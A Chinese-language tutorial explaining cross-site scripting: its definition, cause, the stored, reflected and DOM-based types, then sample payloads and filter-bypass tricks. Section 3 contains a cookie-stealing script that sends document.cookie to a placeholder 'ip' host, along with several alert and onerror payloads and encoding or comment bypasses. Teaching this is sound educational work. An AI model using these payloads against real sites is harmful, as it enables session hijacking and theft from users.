文章目录
- 1、概述
- 2、XSS的分类
- 3、XSS常见攻击手段
- 4、XSS防御
1、概述
1.1、定义
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意JavaScript代码,当用户访问包含该恶意代码的页面时,浏览器会执行这段代码,从而实现攻击者的恶意目的。
- 注意:为与CSS(层叠样式表)区分,故简称XSS而非CSS。
1.2、原理
Web应用程序未对用户输入的数据进行严格的验证、过滤或转义,导致攻击者输入的恶意脚本被当作合法代码嵌入到页面中,并被其他用户的浏览器解析执行。
- 本质是"信任了不可信的输入",将用户输入的数据直接或间接输出到页面,未做安全处理。
2、XSS的分类
2.1、存储型
2.1.1、特点
恶意脚本被永久存储在目标网站的服务器中(如数据库、评论区、留言板等),所有访问该页面的用户都会触发恶意脚本的执行。
2.1.2 攻击流程
-
攻击者将恶意JavaScript代码注入到目标网站的可存储区域(如发布含恶意代码的评论);
-
目标网站将恶意代码存储到服务器数据库;
-
其他用户访问包含该恶意代码的页面时,网站从数据库读取恶意代码并输出到页面;
-
用户浏览器解析执行恶意代码,完成攻击。
2.2、反射型
2.2.1、特点
恶意脚本通过URL参数等方式注入,目标网站仅将其"反射"给用户浏览器执行,不会存储在服务器中,通常需要攻击者诱导用户点击恶意链接才能触发。
2.2.2、攻击流程
-
攻击者构造包含恶意JavaScript代码的URL;
-
通过邮件、短信、社交软件等方式诱导用户点击该恶意URL;
-
用户点击后,浏览器向目标网站发送请求,URL中的恶意代码被一同提交;
-
目标网站未对参数做安全处理,直接将恶意代码输出到页面;
-
用户浏览器执行恶意代码,完成攻击。
2.3、DOM型
2.3.1、特点
恶意脚本的注入和执行完全发生在客户端的DOM解析过程中,目标网站的服务器未参与数据的处理和输出,漏洞根源在于前端JavaScript代码对用户输入的处理不当。
2.3.2、攻击流程
-
攻击者构造包含恶意代码的URL(或诱导用户输入恶意代码);
-
用户访问URL或输入恶意代码后,前端JavaScript代码读取URL参数或用户输入的数据;
-
前端代码未对数据做安全处理,直接通过DOM操作(如innerHTML、document.write、document.cookie、document.referer、location.href等)将其插入到页面中;
-
浏览器解析DOM时执行恶意代码,完成攻击。
2.1、三种类型
| 类型 | 存储位置 | 触发方式 | 服务器参与 |
|---|---|---|---|
| 存储型 | 数据库 | 用户访问含恶意代码的页面即可触发 | 是 |
| 反射型 | 无(仅通过URL传递) | 诱导用户点击恶意URL | 是 |
| DOM型 | 无(客户端DOM中) | 用户访问恶意URL或输入恶意数据 | 否 |
3、XSS常见攻击手段
3.1、基础脚本注入
javascript
<script>alert('XSS')</script> // 弹出提示,测试XSS是否存在
<script>document.location="http://ip/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie</script>
3.2、利用HTML标签特性
javascript
<img src=x onerror=alert('XSS')> // 图片加载失败时执行onerror事件中的脚本
<a href=javascript:alert('XSS')>点击我</a> // 点击链接时执行脚本
<script>confirm(1)</script>
<script>prompt(1)</script>
onclick='javascript:alert(xss)'
3.3、绕过技巧
- 大小写绕过:如,针对未区分大小写过滤的场景;
- 空格/注释绕过: 利用注释干扰过滤规则;
javascript
如<script/*comment*/>alert('XSS') </script>
- 编码绕过:对脚本进行URL编码、HTML实体编码、Unicode编码等,如javascript:alert('XSS')可编码为javascript:%61%6C%65%72%74%28%27%58%53%53%27%29;